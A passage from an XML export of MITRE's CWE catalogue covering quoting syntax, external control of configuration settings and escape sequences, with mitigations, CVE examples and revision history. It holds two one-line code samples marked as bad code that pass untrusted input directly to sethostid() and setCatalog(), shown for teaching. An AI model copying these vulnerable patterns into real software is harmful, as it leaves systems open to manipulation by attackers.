		    </Weakness>
                    <Weakness ID="149" Name="Improper Neutralization of Quoting Syntax" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Quotes injected into an application can be used to compromise a
					system. As data are parsed, an injected/absent/duplicate/malformed use of quotes
					may cause the process to take unexpected actions.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that quotes will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0956</Observed_Example_Reference>
					          <Observed_Example_Description>Database allows remote attackers to cause a denial
						of service (application crash) via a MATCH AGAINST query with an opening
						double quote but no closing double quote.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1016</Observed_Example_Reference>
					          <Observed_Example_Description>MIE. MFV too? bypass AV/security with fields that
						should not be quoted, duplicate quotes, missing leading/trailing
						quotes.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Quoting Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>468</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Quoting
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Quoting
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize Quoting
						Syntax</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="15" Name="External Control of System or Configuration Setting" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>One or more system settings or configuration elements can be
					externally controlled by a user.</Description_Summary>
				        <Extended_Description>
					          <Text>Allowing external control of system settings can disrupt service or cause
						an application to behave in unexpected, and potentially malicious
						ways.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>642</Relationship_Target_ID>
					          <!--External Control of Critical State Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>610</Relationship_Target_ID>
					          <!--Externally Controlled Reference to a Resource in Another Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>2</Relationship_Target_ID>
					          <!--Environment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Setting manipulation vulnerabilities occur when an attacker can control
						values that govern the behavior of the system, manage specific resources, or
						in some way affect the functionality of the application.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Compartmentalize your system and determine where the trust boundaries
							exist. Any input/control outside the trust boundary should be treated as
							potentially hostile.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Because setting manipulation covers a diverse set of functions, any
							attempt at illustrating it will inevitably be incomplete. Rather than
							searching for a tight-knit relationship between the functions addressed
							in the setting manipulation category, take a step back and consider the
							sorts of system values that an attacker should not be allowed to
							control.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In general, do not allow user-provided or otherwise untrusted data to
							control sensitive values. The leverage that an attacker gains by
							controlling these values is not always immediately obvious, but do not
							underestimate the creativity of the attacker.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following C code accepts a number as one of its command line
						parameters and sets it as the host ID of the current machine.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>...</Code>
							              <Code>sethostid(argv[1]);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Although a process must be privileged to successfully invoke
							sethostid(), unprivileged users may be able to invoke the program. The
							code in this example allows user input to directly control the value of
							a system setting. If an attacker provides a malicious value for host ID,
							the attacker can misidentify the affected machine on the network or
							cause other unintended behavior.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java code snippet reads a string from an
						HttpServletRequest and sets it as the active catalog for a database
						Connection.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>...</Code>
							              <Code>conn.setCatalog(request.getParameter("catalog"));</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>In this example, an attacker could cause an error by providing a
							nonexistent catalog name or connect to an unauthorized portion of the
							database.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Setting Manipulation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>13</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>146</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>69</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>77</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Modes_of_Introduction,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Setting
						Manipulation</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="150" Name="Improper Neutralization of Escape, Meta, or Control Sequences" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as escape, meta, or control character sequences when they are sent
					to a downstream component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected/absent/malformed delimiter may cause the
						process to take unexpected actions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that escape, meta and control
							characters/sequences will be injected/removed/manipulated in the input
							vectors of their software system. Use an appropriate combination of
							black lists and white lists to ensure only valid, expected and
							appropriate input is processed by the system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0542</Observed_Example_Reference>
					          <Observed_Example_Description>The mail program processes special "~" escape
						sequence even when not in interactive mode.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0703</Observed_Example_Reference>
					          <Observed_Example_Description>Setuid program does not filter escape sequences
						before calling mail program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0986</Observed_Example_Reference>
					          <Observed_Example_Description>Mail function does not filter control characters
						from arguments, allowing mail message content to be
						modified.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0020</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-channel issue. Terminal escape sequences not
						filtered from log files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0083</Observed_Example_Reference>
					          <Observed_Example_Description>Multi-channel issue. Terminal escape sequences not
						filtered from log files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0021</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal escape sequences not filtered by
						terminals when displaying files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0022</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal escape sequences not filtered by
						terminals when displaying files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0023</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal escape sequences not filtered by
						terminals when displaying files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0063</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal escape sequences not filtered by
						terminals when displaying files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0476</Observed_Example_Reference>
					          <Observed_Example_Description>Terminal escape sequences not filtered by
						terminals when displaying files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1556</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. (multi-channel). Injection of control
						characters into log files that allow information hiding when using raw Unix
						programs to read the files.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Escape, Meta, or Control Character /
						Sequence</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not log unsanitized user input</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>41</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>93</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Escape, Meta, or Control
						Character / Sequence</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Escape,
						Meta, or Control Character / Sequence</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Failure to Sanitize Escape,
						Meta, or Control Sequences</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="151" Name="Improper Neutralization of Comment Delimiters" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as comment delimiters when they are sent to a downstream
					component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
